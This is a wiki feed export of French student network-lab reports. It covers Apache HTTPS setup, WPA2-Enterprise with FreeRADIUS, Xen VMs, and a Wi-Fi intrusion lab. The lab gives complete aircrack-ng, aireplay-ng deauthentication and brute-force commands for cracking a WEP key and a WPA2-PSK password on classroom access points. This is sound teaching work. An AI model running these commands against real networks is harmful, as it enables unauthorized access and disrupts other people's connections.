&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
	ServerAlias www.rs7.online.&lt;br /&gt;
        Redirect permanent / https://rs7.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
        DocumentRoot /var/www/rs7.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/rs7.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/rs7.online.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
	ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
	ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
	&amp;lt;Directory /var/www/rs7.online&amp;gt;&lt;br /&gt;
		AllowOverride All&lt;br /&gt;
		Require all granted&lt;br /&gt;
	&amp;lt;/Directory&amp;gt;&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log&lt;br /&gt;
	CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre page web est maintenant accessible via http://rs7.online .&lt;br /&gt;
&lt;br /&gt;
= Effraction Wi-Fi = &lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).&lt;br /&gt;
&lt;br /&gt;
* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''  &lt;br /&gt;
* Canal utilisé : '''11'''&lt;br /&gt;
&lt;br /&gt;
=== Passage de l’interface en mode monitor ===&lt;br /&gt;
&lt;br /&gt;
Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlan0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
Scan des réseaux protégés en WEP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --encrypt WEP wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié présente les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
=== Capture du trafic ===&lt;br /&gt;
&lt;br /&gt;
Capture ciblée du point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --channel 11 \&lt;br /&gt;
            --bssid 00:14:BF:63:1E:42 \&lt;br /&gt;
            --write capture_wep \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.&lt;br /&gt;
&lt;br /&gt;
=== Authentification d’une adresse MAC d’injection ===&lt;br /&gt;
&lt;br /&gt;
Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --fakeauth 0 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* -a : BSSID réel du point d’accès&lt;br /&gt;
* -h : adresse MAC utilisée pour l’injection&lt;br /&gt;
* --fakeauth 0 : authentification Open System&lt;br /&gt;
&lt;br /&gt;
Résultat : authentification et association réussies.&lt;br /&gt;
&lt;br /&gt;
=== Génération de trafic ARP (rejeu) ===&lt;br /&gt;
&lt;br /&gt;
Afin d’accélérer l’accumulation d’IV :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --arpreplay \&lt;br /&gt;
            -b 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.&lt;br /&gt;
&lt;br /&gt;
=== Désauthentification d’un client ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer l’émission de nouvelles requêtes ARP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --deauth 5 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette action force les stations à se reconnecter, générant du trafic exploitable.&lt;br /&gt;
&lt;br /&gt;
=== Cassage de la clé ===&lt;br /&gt;
&lt;br /&gt;
Lorsque le nombre d’IV atteint environ 45 000 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng capture_wep-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Résultat obtenu :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cracotte08.png|800px|vignette|centré]]&lt;br /&gt;
&lt;br /&gt;
- Nombre d’IV exploités : ~44 687&lt;br /&gt;
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE&lt;br /&gt;
- Taux de déchiffrement : 100 %&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable. &lt;br /&gt;
&lt;br /&gt;
La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt; en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; correspond à l’interface Wi-Fi placée en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié possède les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Paramètre !! Valeur&lt;br /&gt;
|-&lt;br /&gt;
| ESSID || kracotte08&lt;br /&gt;
|-&lt;br /&gt;
| BSSID || 44:AD:D9:5F:87:07&lt;br /&gt;
|-&lt;br /&gt;
| Canal || 13&lt;br /&gt;
|-&lt;br /&gt;
| Chiffrement || WPA2&lt;br /&gt;
|-&lt;br /&gt;
| Authentification || PSK&lt;br /&gt;
|-&lt;br /&gt;
| Puissance signal || -38 dBm&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Une station cliente connectée a également été détectée :&lt;br /&gt;
&lt;br /&gt;
* Adresse MAC : 40:A5:EF:01:25:8B&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Capture du handshake WPA ===&lt;br /&gt;
&lt;br /&gt;
Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-c 13&amp;lt;/code&amp;gt; : écoute sur le canal du point d’accès.&lt;br /&gt;
* &amp;lt;code&amp;gt;--bssid&amp;lt;/code&amp;gt; : filtrage du réseau cible uniquement.&lt;br /&gt;
* &amp;lt;code&amp;gt;-w&amp;lt;/code&amp;gt; : sauvegarde des paquets capturés.&lt;br /&gt;
* &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; : interface en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.&lt;br /&gt;
&lt;br /&gt;
===Forçage de la reconnexion des clients ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-0 10&amp;lt;/code&amp;gt; : envoi de 10 trames de désauthentification.&lt;br /&gt;
* &amp;lt;code&amp;gt;-a&amp;lt;/code&amp;gt; : BSSID du point d’accès cible.&lt;br /&gt;
&lt;br /&gt;
Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Sortie observée :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Absence de capture du handshake ===&lt;br /&gt;
&lt;br /&gt;
Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
WPA handshake: 44:AD:D9:5F:87:07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
n’est apparu dans la fenêtre de capture.&lt;br /&gt;
&lt;br /&gt;
Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
seq -w 00000000 99999999 &amp;gt; dictionnaire.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
=== Tentative de cassage du mot de passe ===&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de lancer l’attaque par dictionnaire :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-EAP =&lt;br /&gt;
&lt;br /&gt;
== Objectif ==&lt;br /&gt;
&lt;br /&gt;
L’objectif de cette partie est de sécuriser l’accès au réseau WiFi en utilisant le mécanisme&lt;br /&gt;
d’authentification WPA2-Enterprise (WPA2-EAP).  &lt;br /&gt;
Contrairement au WPA-PSK, l’authentification repose ici sur un serveur centralisé&lt;br /&gt;
FreeRadius permettant une authentification individuelle des utilisateurs.&lt;br /&gt;
&lt;br /&gt;
L’infrastructure repose sur :&lt;br /&gt;
* un VLAN personnel dédié ;&lt;br /&gt;
* une redondance des routeurs via VRRP ;&lt;br /&gt;
* un serveur FreeRadius installé sur la machine virtuelle de services.&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Accès aux équipements réseau ==&lt;br /&gt;
&lt;br /&gt;
La connexion aux routeurs et bornes WiFi Cisco est réalisée via SSH :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -o KexAlgorithms=diffie-hellman-group-exchange-sha1,\&lt;br /&gt;
diffie-hellman-group14-sha1,\&lt;br /&gt;
diffie-hellman-group1-sha1 \&lt;br /&gt;
-o HostKeyAlgorithms=ssh-rsa \&lt;br /&gt;
-c aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc,\&lt;br /&gt;
aes128-ctr,aes192-ctr,aes256-ctr \&lt;br /&gt;
admin@172.27.0.2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Adressage des équipements ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Equipement !! Adresse IP&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200 E304 || 172.27.0.1&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200 E306 || 172.27.0.2&lt;br /&gt;
|-&lt;br /&gt;
| Borne WiFi E306 || 172.27.0.3&lt;br /&gt;
|-&lt;br /&gt;
| Borne WiFi E304 || 172.27.0.4&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Création du VLAN personnel ==&lt;br /&gt;
&lt;br /&gt;
Le VLAN personnel attribué est le VLAN '''18'''.&lt;br /&gt;
&lt;br /&gt;
=== Sur les deux routeurs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
vlan 18&lt;br /&gt;
 name VLAN_YASSINE&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Configuration des interfaces VLAN ==&lt;br /&gt;
&lt;br /&gt;
=== Routeur principal (E304) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip address 10.60.8.2 255.255.255.0&lt;br /&gt;
 vrrp 18 address 10.60.8.1&lt;br /&gt;
 vrrp 18 priority 110&lt;br /&gt;
 vrrp 18 preempt&lt;br /&gt;
 no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
=== Routeur secondaire (E306) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip address 10.60.8.3 255.255.255.0&lt;br /&gt;
 vrrp 18 address 10.60.8.1&lt;br /&gt;
 vrrp 18 priority 100&lt;br /&gt;
 vrrp 18 preempt&lt;br /&gt;
 no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
L’adresse virtuelle '''10.60.8.1''' constitue la passerelle par défaut des clients WiFi.&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Configuration DHCP ==&lt;br /&gt;
&lt;br /&gt;
Le serveur DHCP est réparti entre les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
=== Routeur E304 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip dhcp pool PoolYassine-A&lt;br /&gt;
 network 10.60.8.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.8.1&lt;br /&gt;
 dns-server 192.168.7.2&lt;br /&gt;
 address range 10.60.8.100 10.60.8.150&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
=== Routeur E306 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip dhcp pool PoolYassine-B&lt;br /&gt;
 network 10.60.8.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.8.1&lt;br /&gt;
 dns-server 192.168.7.2&lt;br /&gt;
 address range 10.60.8.151 10.60.8.200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Routage vers la machine mandataire (PBR) ==&lt;br /&gt;
&lt;br /&gt;
Le trafic IPv4 du VLAN personnel est redirigé vers la machine mandataire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
access-list 101 permit ip 10.60.8.0 0.0.0.255 any&lt;br /&gt;
&lt;br /&gt;
route-map PBR-YASSINE permit 10&lt;br /&gt;
 match ip address 101&lt;br /&gt;
 set ip next-hop 192.168.7.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Application :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip policy route-map PBR-YASSINE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Configuration du serveur FreeRadius ==&lt;br /&gt;
&lt;br /&gt;
Sur la machine virtuelle de services (192.168.7.2) :&lt;br /&gt;
&lt;br /&gt;
Installation :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install freeradius freeradius-utils&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ajout du point d’accès WiFi :&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Dnssecrs7.png&amp;diff=12525</id>
		<title>Fichier:Dnssecrs7.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Dnssecrs7.png&amp;diff=12525"/>
		<updated>2026-02-27T13:21:30Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;dnssec propagé sur DNSViz&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12517</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12517"/>
		<updated>2026-02-27T13:12:36Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Création et configuration du fichier .zone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
